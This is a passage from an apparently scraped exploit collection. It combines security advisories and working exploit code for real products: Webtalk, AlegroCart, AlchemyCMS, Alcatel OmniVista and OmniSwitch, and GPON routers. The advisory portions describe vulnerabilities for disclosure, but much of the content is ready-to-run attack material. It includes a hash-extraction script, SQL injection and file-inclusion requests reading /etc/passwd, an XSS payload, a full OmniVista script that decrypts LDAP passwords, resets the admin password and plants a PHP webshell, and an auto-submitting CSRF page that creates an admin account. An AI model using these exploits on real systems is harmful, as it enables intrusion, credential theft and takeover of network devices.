uid=0(root) gid=500(webtalk) groups=500(webtalk)
...


Recommendation: User input should be avoided to shell commands.  If this is
not possible, shell commands should be properly escaped.  Consider using one of
the functions from the subprocess module without the shell=True parameter.

Webtalk-03 - Cross-Site Request Forgery
---------------------------------------

Severity: **High**

The entire Webtalk administrative interface lacks any controls against
Cross-Site Request Forgery.  This allows an attacker to execute
administrative changes without access to valid credentials.  Combined with the above
vulnerability, this allows an attacker to gain root access without any
credentials.

Recommendation: Implement CSRF tokens on all state-changing actions.

Webtalk-04 - Insecure Credential Hashing
----------------------------------------

Severity: **Moderate**

Password hashes in the userprofile.db database are hashed by concatenating
the password with the username (e.g., PASSUSER) and performing a plain MD5
hash.  No salts or iterative hashing is performed.  This does not follow password
hashing best practices and makes for highly practical offline attacks.

Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.

Webtalk-05 - Login Flow Defeats Password Hashing
------------------------------------------------

Severity: **Moderate**

Password hashing is performed on the client side, allowing for the replay of
password hashes from Webtalk-01.  While this only works on the mobile login
interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting
session is able to access all resources and is functionally equivalent to a login
through the Java-based login flow.

Recommendation: Perform hashing on the server side and use TLS to protect
secrets in transit.


Timeline
--------

2017/01/?? - Issues Discovered
2017/01/26 - Issues Reported to security@honeywell.com
2017/01/30 - Initial response from Alerton confirming receipt.
2017/02/04 - Alerton reports Webtalk is EOL and issues will not be fixed.
2017/04/26 - This disclosure

Discovery
---------

These issues were discovered by David Tomaschik of the Google ISA
Assessments team.

Appendix A: Script to Extract Hashes
------------------------------------
'''

import requests
import sys
import ConfigParser
import StringIO
import sqlite3
import tempfile
import os


def get_webtalk_ini(base_url):
    """Get the webtalk.ini file and parse it."""
    url = '%s/~webtalk/webtalk.ini' % base_url
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get webtalk.ini: %s', url)
    buf = StringIO.StringIO(r.text)
    parser = ConfigParser.RawConfigParser()
    parser.readfp(buf)
    return parser


def get_db_path(base_url, config):
    rep = config.get('bacnet', 'rep')
    job = config.get('bacnet', 'job')
    url = '%s/~webtalk/bts/%s/%s/userprofile.db'
    return url % (base_url, rep, job)


def load_db(url):
    """Load and read the db."""
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get %s.' % url)
    tmpfd, tmpname = tempfile.mkstemp(suffix='.db')
    tmpf = os.fdopen(tmpfd, 'w')
    tmpf.write(r.content)
    tmpf.close()
    con = sqlite3.connect(tmpname)
    cur = con.cursor()
    cur.execute("SELECT UserID, UserPassword FROM tblPassword")
    results = cur.fetchall()
    con.close()
    os.unlink(tmpname)
    return results


def users_for_server(base_url):
    if '://' not in base_url:
        base_url = 'http://%s' % base_url
    ini = get_webtalk_ini(base_url)
    db_path = get_db_path(base_url, ini)
    return load_db(db_path)


if __name__ == '__main__':
    for host in sys.argv[1:]:
        try:
            users = users_for_server(host)
        except Exception as ex:
            sys.stderr.write('%s\n' % str(ex))
            continue
        for u in users:
            print '%s:%s' % (u[0], u[1])
HireHackking 
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    AlegroCart 1.2.8
Fixed in:            Patch AC128_fix_17102015
Path Link:           http://forum.alegrocart.com/download/file.php?id=1040
Vendor Website:      http://alegrocart.com/
Vulnerability Type:  SQL Injection
Remote Exploitable:  Yes
Reported to vendor:  09/29/2015
Disclosed to public: 11/13/2015
Release mode:        Coordinated release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

There is a blind SQL injection in the admin area of AlegroCart. Additionally,
there is a blind SQL injection when a customer purchases a product. Because of
a required interaction with PayPal, this injection is hard to exploit for an
attacker.

3. BLind SQL Injection (Admin)

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

When viewing the list of uploaded files - or images - , the function
check_download is called. This function performs a database query with the
unsanitized name of the file. Because of this, an attacker can upload a file
containing SQL code in its name, which will be executed once files are listed.

Note that a similar function - check_filename - is called when deleting a file,
making it likely that this operation is vulnerable as well.

Admin credentials are required to exploit this issue.

Proof of Concept


POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794
Content-Length: 865

-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="language[1][name]"

test
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -"
Content-Type: image/jpeg

img

-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="mask"

11953405959037.jpg
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="remaining"

1
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4"

f396df6c76265de943be163e9b65878a
-----------------------------16690383031191084421650661794--


Visiting
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download
will trigger the injected code.

Code


/upload/admin2/model/products/model_admin_download.php
function check_download($filename){
        $result = $this->database->getRow("select * from download where filename = '".$filename."'");
        return $result;
}

function check_filename($filename){
        $results = $this->database->getRows("select filename from download where filename = '" . $filename . "'");
        return $results;
}

/upload/admin2/controller/download.php
function checkFiles() {
        $files=glob(DIR_DOWNLOAD.'*.*');
        if (!$files) { return; }
        foreach ($files as $file) {
                $pattern='/\.('.implode('|',$this->prohibited_types).')$/';
                $filename=basename($file);
                if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) {
                        $result = $this->modelDownload->check_download($filename);
                        if (!$result) { $this->init($filename); }
                }
        }
}

4. BLind SQL Injection (Customer)

CVSS

Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

There is an SQL Injection when using Paypal as a payment method during
checkout.

Please note that this injection requires that a successful interaction with
Paypal took place. For test purposes, we commented out the parts of the code
that actually perform this interaction with Paypal.

Proof of Concept


1. Register a User
2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation"
3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.

The injection can be exploited blind:


http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)

However, this is rather unpractical, especially considering the need for a
valid PayPal token for each request.

It is also possible with this injection to inject into an UPDATE statement in
update_order_status_paidunconfirmed. The problem here is that it is difficult
to create an injection that exploits the UPDATE statement, but also results in
an order_id being returned by the previous SELECT statement.

It may also be possible to use the order_id that can be controlled via the
SELECT statement to inject into the INSERT statement in update_order_history.
But again, it is difficult to craft a query that does this, but also returns a
valid result for the UPDATE query.

Code


/upload/catalog/extension/payment/paypal.php:
function orderUpdate($status = 'final_order_status', $override = 0) {
    //Find the paid_unconfirmed status id
    $results = $this->getOrderStatusId('order_status_paid_unconfirmed');
    $paidUnconfirmedStatusId = $results?$results:0;
    //Find the final order status id
    $results = $this->getOrderStatusId($status);
    $finalStatusId = $results?$results:0;
    $reference = $this->request->get('ref');
    //Get Order Id
        $res = $this->modelPayment->get_order_id($reference);
    $order_id = $res['order_id'];
    //Update order only if state in paid unconfirmed OR override is set
    if ($order_id) {
if ($override) {
    // Update order status
    $result = $this->modelPayment->update_order_status_override($finalStatusId,$reference);
    // Update order_history
    if ($result) {
                                $this->modelPayment->update_order_history($order_id, $finalStatusId, 'override');
    }
} else {
    // Update order status only if status is currently paid_unconfirmed
                        $result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId);
    // Update order_history
    if ($result)  {
                                $this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN');
    }
}
    }
}

/upload/catalog/model/payment/model_payment.php:
function get_order_id($reference){
        $result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'");
        return $result;
}

function update_order_history($order_id, $finalStatusId,$comment){
        $this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'");
}

function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){
        $result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'"));
        return $result;
}

5. Solution

To mitigate this issue please apply this patch:

http://forum.alegrocart.com/download/file.php?id=1040

Please note that a newer version might already be available.

6. Report Timeline

09/29/2015 Informed Vendor about Issue
17/10/2015 Vendor releases fix
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-SQL-Injection-104.html
HireHackking 
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    AlegroCart 1.2.8
Fixed in:            Patch AC128_fix_22102015
Path Link:           http://forum.alegrocart.com/download/file.php?id=1047
Vendor Website:      http://alegrocart.com/
Vulnerability Type:  LFI/RFI
Remote Exploitable:  Yes
Reported to vendor:  09/29/2015
Disclosed to public: 11/13/2015
Release mode:        Coordinated release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

When retrieving logs, there are no checks on the given file_path Parameter.
Because of this, local or remote files can be included, which are then executed
or printed.

Admin credentials are required to view logs.

3. Proof of Concept

Remote File:


POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 441

-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"

error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"

http://localhost/shell.php
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"

0
-----------------------------16809437203643590021165278222--

Local File:


POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 425

-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"

error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"

/etc/passwd
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"

0
-----------------------------16809437203643590021165278222--

For the patches AC128_fix_13102015 and AC128_fix_17102015 the following attack
strings were still working:


http://localhost/shell.php?x=ls&foo=/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/

/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/../../../../../../../etc/passwd

4. Code


/ upload/admin2/controller/report_logs.php
function get_file(){
        $file = '';
        if($this->request->gethtml('file_path', 'post')){
                $file = file_get_contents($this->request->gethtml('file_path', 'post'));
        }
        if($this->request->gethtml('decrytion', 'post')){
                $file = $this->ccvalidation->deCrypt($file, $this->config->get('config_token'));
        }
        if($file){
                $file = str_replace(array("\r\n", "\r", "\n"),'<br>', $file);
        }
        return $file;
}

5. Solution

To mitigate this issue please apply this patch:

TODO

Please note that a newer version might already be available.

6.. Report Timeline

09/29/2015 Informed Vendor about Issue
11/03/2015 Vendor releases fix
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html
HireHackking 
# Exploit Title: AlchemyCMS 4.1 - Cross-Site Scripting
# Date: 2018-10-14 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://alchemy-cms.com/
# Software Link : https://github.com/AlchemyCMS/alchemy_cms
# Software : AlchemyCMS
# Version : 4.1-stable
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in version 4.1.0 of AlchemyCMS via the /admin/pictures image field.
 
# HTTP POST Request :

POST /admin/pictures HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/pages/80/edit
X-CSRF-Token: E6zZ6vohGua9Q0arzQVTUTmq/fJw48xBnkmfQeYxILYtmRAhDcxkaV5FeGyajgOtSXMs7r9xms7Wo44PEP9HTg==
X-Requested-With: XMLHttpRequest
Content-Length: 1574870
Content-Type: multipart/form-data; boundary=---------------------------10875577401849011681645409128
Cookie: _alchemy_demo_session=%2BSKdSGUIZALtIkYucZKu36eXcVTh4kSCFKjcxqLyFnd%2B5C87xtdx6%2B4Zkjy31YpXRzXI1nwu3BsIvI9v6eYio%2BOh1S3Kb1wd3YcARJTGJeK8ByX9N45trldIwmxK09FqDTMv897K3%2F%2Fe05YiJUEwz2jGkuXkiaxk37AHmjuJNtSNwLfGwAakOWN%2FKQvqAbl%2BMWV9crpeUuq66p6%2Bar1WmGmRcNDqUcfnDFfLmNa8%2BlCBNjieI5N0kpAv2xBJ30EZqoxee13TmKhvPoU4m3UehLKToa8gW5tCQQy7N3BF6ipZa5H1l16%2FxzwPEJl37F3T5%2F%2FkFr4JOxtYSiH9Nd1itpJjMBSZkGAou49SZoBq%2F23r%2BbENN81HrstL2TlaHkxeFdivOnAjBgwpst1qj570WU22FOQeKo80fWnARs23lCHAJy2RyY8dENcpagIQUgdbxqlCaEDqcUnnroZj0g8mhjG%2FdD2cLdym3usSVBmLoiVIPTcHf5T%2FavLUpF6PC0hUwgNEwgNZKzunlPl8tr17e9t9--RjgT8BiSM30kK4WY--s%2BPgcdnz62DCJTK14z5aag%3D%3D; __atuvc=3%7C42; __atuvs=5bc38ae909d900c3002
Connection: close

-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="utf8"

â
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="authenticity_token"

GqjmyJ8FM+6rE6IIK5Or6Znszlg8ilvkUKsYJsqT3l3Cl7GAKn8L6xoCio55o9IaxztHwOKOSsRHz5vb4LTOGA==
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="picture[upload_hash]"

2507832911685091350
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="picture[image_file]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg
HireHackking 
# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution
# Google Dork: inurl:php-bin/webclient.php
# Date: 2019-12-01
# Author: 0x1911
# Vendor Homepage: https://www.al-enterprise.com/
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system
# Version: All versions, still unpatched
# Tested on: Windows 2003/2008
# CVE : 0day

# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md


'''
Original url: https://git.lsd.cat/g/omnivista-rce
Website: https://lsd.cat
'''
import requests
import socket
import ldap
import sys
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class OmniVista:
	def __init__(self, host):
		self.host = host
		self.addr = (urlparse(self.host).hostname)
		self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
		self.filename = "poc.php"
		self.webshell = "<?php system($_REQUEST[0]) ?>"

	def identify(self):
		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
		if '8770' in r.text:
			return 8770
		elif '4760' in r.text:
			return 4760
		else:
			return False

	def checkldap(self):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(10)
		result = s.connect_ex((self.addr, 389))
		if result == 0:
			return True

	def info(self):
		r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
		if 'PHP Version' in r.text:
			return r.text
		else:
			return False

	def getpassword(self):
		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
		id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
		r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
		lenght = int(r.text.split("ldapSuPass")[1][3:5])
		password = r.text.split("ldapSuPass")[1][7:7+lenght]
		return password

	def decodepassword(self, password):
		counter = 0
		key = 16
		cleartext = ""
		if password[0:5] == "{NMC}":
			password = password[5:]
		else:
			return False
		for char in password:
			if 32 <= ord(char):
				char = chr(ord(char) ^ key)
				cleartext += char
			else:
				cleartext += char
			if ord(char) != 0:
				key = counter * ord(char) % 255 >> 3
			else:
				key = 16
			counter += 1
		return cleartext

	def connectldap(self):
		connect = ldap.initialize('ldap://' + self.addr)
		connect.set_option(ldap.OPT_REFERRALS, 0)
		connect.simple_bind_s(self.username, self.password)
		result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
		print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
		self.bind = connect
		return True

	def editadminpassword(self):
		self.adminusername = "AdminNmc"
		self.adminpassword = "Lsdcat_exploit1!"
		self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
		return True

	def login(self):
		self.session = requests.session()
		r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
		if 'Directory license is required!' in r.text:
			return False
		else:
			return True

	def exploit8770(self):
		r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
		r = self.session.post(self.host + 'php-bin/webclient.php',
			data = {"action": "saveTheme", "themeId": "2"},
			files = { "BgImg1": (self.filename, self.webshell, "image/png")},
			verify = False)
		if 'success' in r.text:
			return True

	def exec8770(self):
		return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text

	def exploit4760(self):
		for folder in self.folders:
			r = requests.post(self.host + 'php-bin/webclient.php',
				data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
				files = { "BgImg1": (self.filename, self.webshell, "image/png")},
			verify=False)
			if 'success' in r.text:
				self.folder = folder
				return True

	def exec4760(self, cmd):
		return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text

	def autoexploit(self):
		print('[*] Attempting to exploit on {}'.format(self.host))
		self.model = self.identify()
		if self.model == 4760:
			print('[*] Model is {}'.format(str(self.model)))
			self.exploit4760()
			print('[*] Upload folder is {}'.format(self.folder))
			output = self.exec4760("whoami")
			print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
			print('[*] Command output: '.format(output))
		elif self.model == 8770:
			print('[*] Model is {}'.format(str(self.model)))
			self.username = "cn=Directory Manager"
			self.password = self.decodepassword(self.getpassword())
			print('[*] {} password is "{}"'.format(self.username, self.password))
			if self.checkldap():
				print('[*] LDAP Service is accessible!')
				self.connectldap()
				print('[*] Changing AdminNmc password')
				self.editadminpassword()
				print('[*] Logging in')
				if self.login():
					self.exploit8770()
					output = self.exec8770("whoami")
					print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
					print('[*] Command output: '.format(output))
				else:
					print("[x] Directory license not installed :/")
					return False
			else:
				print("[x] LDAP Service is not directly accessible")
				return False

		else:
			print("[x] Target is not an OmniVista 4760/8770")
			return False

if len(sys.argv) != 2:
	print("Usage: ./omnivista.py http(s)://target.tld:port/")
else:
	exploit = OmniVista(sys.argv[1])
	exploit.autoexploit()
HireHackking 
Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery

During a penetration test, RedTeam Pentesting discovered a vulnerability
in the management web interface of an Alcatel-Lucent OmniSwitch 6450.
The management web interface has no protection against cross-site
request forgery attacks. This allows specially crafted web pages to
change the switch configuration and create users, if an administrator
accesses the website while being authenticated in the management web
interface.

Details
=======

Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400,
  6855, 6900, 10K, 6860
Affected Versions: All Releases:
  AOS 6.4.5.R02
  AOS 6.4.6.R01
  AOS 6.6.4.R01
  AOS 6.6.5.R02
  AOS 7.3.2.R01
  AOS 7.3.3.R01
  AOS 7.3.4.R01
  AOS 8.1.1.R01
Fixed Versions: -
Vulnerability Type: Cross-site request forgery
Security Risk: medium
Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004
Advisory Status: published
CVE: CVE-2015-2805
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805


Introduction
============

"The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable
LAN Switches are the latest value stackable switches in the OmniSwitch
family of products. The OmniSwitch 6450 was specifically built for
versatility offering optional upgrade paths for 10 Gigabit stacking, 10
Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and
Metro Ethernet services."

(from the vendor's homepage)

More Details
============

The management web interface of the OmniSwitch 6450 can be accessed
using a web browser via HTTP. The web interface allows creating new user
accounts, in this case an HTTP request like the following is sent to the
switch:

  POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 214

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:244.T1:O1=secret
  &EmWeb_ns:mip:246.T1:O2=-1
  &EmWeb_ns:mip:248.T1:O3=
  &EmWeb_ns:mip:249.T1:O4=1
  &EmWeb_ns:mip:250.T1:O5=4

This request creates a user "attacker" with the password "secret". All
other parametres are static. All POST parametres can be predicted by
attackers

This means that requests of this form can be prepared by attackers and sent
from any web page the user visits in the same browser. If the user is
authenticated to the switch, a valid session cookie is included in the request
automatically, and the action is performed.

In order to activate the new user for the web interface it is necessary
to enable the respective access privileges in the user's profile. This can also
be done via the web interface. Then the HTTP POST request looks like the
following:

  POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 167

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:4.T1:O1=
  &EmWeb_ns:mip:5.T1:O2=
  &EmWeb_ns:mip:6.T1:O3=4294967295
  &EmWeb_ns:mip:7.T1:O4=4294967295

This request sets all access privileges for the user "attacker" and
is again completely predictable.


Proof of Concept
================

Visiting the following HTML page will create a new user via the switch's
management web interface, if the user is authenticated at the switch:

------------------------------------------------------------------------
<html>
<head>
<title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title>
</head>
<body>
  <form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html"
  method="POST" id="CSRF" style="visibility:hidden">
    <input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" />
  </form>
<script>
document.getElementById("CSRF").submit();
</script>
</body>
</html>
------------------------------------------------------------------------


Workaround
==========

Disable the web interface by executing the following commands:

AOS6:

  no ip service http
  no ip service secure-http

AOS 7/8:

  ip service http admin-state disable

If this is not possible, use a dedicated browser or browser profile for
managing the switch via the web interface.


Fix
===

Upgrade the firmware to a fixed version, according to the vendor the
fixed versions will be available at the end of July 2015.


Security Risk
=============

If attackers trick a logged-in administrator to visit an attacker-controlled 
web page, the attacker can perform actions and reconfigure the switch. In this
situation an attacker can create an additional user account on the switch for
future access. While a successful attack results in full access to the switch,
the attack is hard to exploit because attackers need to know the IP address of
the switch and get an administrative user to access an attacker-controlled web
page. The vulnerability is therefore rated as a medium risk.


Timeline
========

2015-03-16 Vulnerability identified
2015-03-25 Customer approves disclosure to vendor
2015-03-26 CVE number requested
2015-03-31 CVE number assigned
2015-04-01 Vendor notified
2015-04-02 Vendor acknowledged receipt of advisories
2015-04-08 Requested status update from vendor, vendor is investigating
2015-04-29 Requested status update from vendor, vendor is still investigating
2015-05-22 Requested status update from vendor
2015-05-27 Vendor is working on the issue
2015-06-05 Vendor notified customers
2015-06-08 Vendor provided details about affected versions
2015-06-10 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
https://www.redteam-pentesting.de.


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
HireHackking 
#!/usr/bin/python3


import argparse
import requests
import urllib.parse
import binascii
import re


def run(target):
    """ Execute exploitation """
    # We're using CVE-2018-10561 and/or it's extension in order to exploit this 
    # Authenticated RCE in usb_Form method of GPON ONT. We can also exploit this 
    # issue after successful authentication: "useradmin" permission is enough
    #
    # IP Spoofing. Perspective option here too
    #

    # Step 1. Just a request to adjust stack for the exploit to work
    #
    # POST /GponForm/device_Form?script/ HTTP/1.1
    # Host: 192.168.1.1
    # User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
    # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    # Accept-Language: en-US,en;q=0.5
    # Accept-Encoding: gzip, deflate
    # Referer: http://192.168.1.1/device.html
    # Content-Type: application/x-www-form-urlencoded
    # Content-Length: 55
    # Connection: close
    # Upgrade-Insecure-Requests: 1
    #
    # XWebPageName=device&admin_action=usb_enable&usbenable=1

    headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate',
            'Referer':'http://192.168.1.1/device.html', 'Content-Type':'application/x-www-form-urlencoded',
            'Connection': 'close', 'Upgrade-Insecure-Requests':'1', 'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'}
    payload = {'XWebPageName':'device', 'admin_action':'usb_enable', 'usbenable':1}
    try:
      requests.post(urllib.parse.urljoin(target, '/GponForm/device_Form?script/'), data=payload, verify=False, headers=headers, timeout=2)
    except:
      pass

    # Step 2. Actual Exploitation
    #
    # POST /GponForm/usb_Form?script/ HTTP/1.1
    # Host: 192.168.1.1
    # User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
    # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    # Accept-Language: en-US,en;q=0.5
    # Accept-Encoding: gzip, deflate
    # Referer: http://192.168.1.1/usb.html
    # Content-Type: application/x-www-form-urlencoded
    # Content-Length: 639
    # Connection: close
    # Upgrade-Insecure-Requests: 1

